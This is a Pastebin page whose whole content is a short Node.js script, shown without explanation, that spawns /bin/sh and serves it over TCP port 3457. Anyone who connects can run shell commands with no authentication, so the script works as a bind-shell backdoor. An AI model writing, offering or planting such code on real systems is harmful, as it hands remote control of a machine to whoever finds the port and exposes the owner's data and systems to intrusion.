Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const net = require('net');
- const cp = require('child_process');
- const sh = cp.spawn('/bin/sh');
- const server = net.createServer((client) => {
- client.pipe(sh.stdin);
- sh.stdout.pipe(client);
- sh.stderr.pipe(client);
- });
- server.listen(3457, () => {
- console.log('listening');
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement